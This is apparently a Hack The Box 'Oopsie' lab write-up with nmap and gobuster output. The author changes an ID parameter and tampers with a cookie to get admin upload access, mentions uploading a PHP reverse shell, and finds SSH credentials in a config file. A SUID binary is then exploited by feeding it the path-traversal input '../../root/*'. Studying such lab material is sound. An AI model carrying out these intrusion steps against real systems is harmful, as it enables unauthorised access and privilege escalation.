Seems like I say this for every box, but it was fun and I learned a lot. The box starts off will cookie manipulation so that I can upload files. From there I am able to upload a PHP reverse shell to gain a foothold. Poking around the system reveals SSH credentials.
After logging in via SSH I find a custom SUID binary. This binary accepts user input and allows the viewing of files under the security context of root
. I image the intent was to only allow the viewing of files in a hard coded directory that is in the binary. But, luckily, the binary is susceptible to directory traversal so I can read any file as root
.
Initial Recon
Started with the standard nmap
scan.
┌──(crimson㉿crimson)-[~/HTB/Starting Point/Oopsie]
└─$ sudo nmap -sC -sV -oA nmap/initial $tgt
[sudo] password for crimson:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-29 21:16 CDT
Nmap scan report for 10.129.95.191
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.10 seconds
There are two ports open – SSH on 22 and HTTP on 80.
Initial Access
HTTP
As I usually do, I started Burp Suite in the background before navigating to the HTTP application on port 80. The landing page did not immediately reveal anything too interesting. So I start a gobuster
scan in the background while I click around some more.
┌──(crimson㉿crimson)-[~/HTB/Starting Point/Oopsie]
└─$ gobuster dir -u $tgt -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -x php -o gobuster.php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.95.191
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2022/05/29 21:38:05 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/.html (Status: 403) [Size: 278]
/images (Status: 301) [Size: 315] [--> http://10.129.95.191/images/]
/.html.php (Status: 403) [Size: 278]
/themes (Status: 301) [Size: 315] [--> http://10.129.95.191/themes/]
/js (Status: 301) [Size: 311] [--> http://10.129.95.191/js/]
<SNIP>
Turns out gobuster
did not find anything useful. But as I dug deeper into the landing page I see that it mentions a login page. The things is I do not see a link to it.
But once I view the source code for the page by pressing Ctrl+U
I see URL for the login page.
Navigating to the URL I see this page. Tried the standard username and password combinations, but no luck.
So I just continue as a guest.
At the top of the page are multiple tabs. All of them I can access as a guest except for Uploads
. But that is the only one I really want access to!
At the top I see the Account
tab. Clicking on that reveals the guest
access ID, name, and email. But in the URL there is an id=
parameter set to 2 which I assume corresponds to the guest
account. If there is id=2
, what about id=1
?
Changing the id=
parameter to 1 reveals the access ID, name, and email for the admin
account. Surely the admin
account has access to the Uploads
tab.
Looking at the GET request in Burp shows my current cookie set to the guest
account.
Taking a step back, how does a website know what user is visiting their website? HTTP cookies! These cookies are stored on the local device or in the browser. Cookies store information about said user when they visit a website. Information stored in these cookies can be what account they are logged in as, what items are in the cart, payment information, and much more. In theory. if the website does not check to see if the cookie has been tampered with I could just manipulate the cookie and tell the website what user I want to be. Well I want to be admin
, not guest
.
Back to Burp. To change the cookie all I need is what looks like the access ID and name. Which I have for the admin
account.
I send the initial GET request with the guest
HTTP cookie to Repeater and edit it with the information I discovered for the admin
account. Now I have access to the Uploads
tab!
To make things easier I can manipulate the cookie in the browser via Developer Tools.
NOTE: Later discovered that I got valid credentials from a previous box on Starting Point. With those credentials I can skip the cookie manipulation and login as admin
to upload a reverse shell.
Now that I can use the Uploads
tab I can upload a PHP reverse shell. But first I test my theory by uploading a benign PHP file. After uploading the file I make an assumption that uploaded files are stored in the /Uploads
directory. Sure enough there is my file.
Now all I have to do is create a PHP reverse shell and repeat the process. But I setup a listener on my attacking box before accessing my reverse shell.
And just like that I have the user flag.
$ find / -iname user.txt 2>/dev/null
/home/robert/user.txt
$ ls -la /home/robert/user.txt
-rw-r--r-- 1 robert robert 33 Feb 25 2020 /home/robert/user.txt
Priv Esc
As www-data
I upload and run LinPEAS via my PHP reverse shell, but nothing stood out.
I poke around for a little bit and find an interesting file in /var/www/html/cdn-cgi/login
. The file, db.php
, contained robert
‘s credentials for SSH. So I switch to that for a more stable connection.
robert
‘s credentials also work for MySQL. Looking at what is contained in the database did not reveal anything too interesting. But I take note of what I find. Perhaps this information could be useful later.
mysql> show tables;
+------------------+
| Tables_in_garage |
+------------------+
| accounts |
| branding |
| clients |
+------------------+
3 rows in set (0.00 sec)
mysql> select * from accounts;
+------+--------+-------------+-------------------------+
| id | access | name | email |
+------+--------+-------------+-------------------------+
| 13 | 57633 | Peter | [email protected] |
| 23 | 28832 | Rafol | [email protected] |
| 4 | 8832 | john | [email protected] |
| 30 | 86575 | super admin | [email protected] |
| 1 | 34322 | admin | [email protected] |
| 2 | 2233 | guest | [email protected] |
+------+--------+-------------+-------------------------+
6 rows in set (0.01 sec)
mysql> select * from clients;
+------+--------+-------------------+
| id | name | email |
+------+--------+-------------------+
| 1 | Tafcz | [email protected] |
| 13 | Rafol | [email protected] |
| 23 | Qpic | [email protected] |
| 2 | client | [email protected] |
+------+--------+-------------------+
4 rows in set (0.00 sec)
Reran LinPEAS as robert
and came across something interesting, a SUID binary I have never seen. Why would a SUID binary be interesting? It allows the binary to be ran under the context of the owner, in this case root
, instead of the current user, in this case robert
. This binary seems to be custom. If I could somehow take advantage of the SUID binary I could run commands as root
without knowing root
‘s password.
To get an idea of what this binary does I ran strings
against it. The line cat /root/reports/
is odd. Not quite sure what this binary does, so I run it.
robert@oopsie:/tmp$ strings /usr/bin/bugtracker
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
strcpy
__isoc99_scanf
__stack_chk_fail
putchar
printf
strlen
malloc
strcat
system
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
crtstuff.c
<SNIP>
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: /tmp
---------------
cat: /root/reports//tmp: No such file or directory
robert@oopsie:/tmp$
I run the binary and it asks for a bug ID and I specify /tmp
. Looking at the output it seems to concatenate what I provide to cat /root/reports/
. This got me thinking. If user input is not sanitized could I just do directory traversal to view any file? After a little trial and error I figure out how to view the root flag!
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: ../../root/*
---------------
cat: /root/reports/../../root/reports: Is a directory
af<SNIP>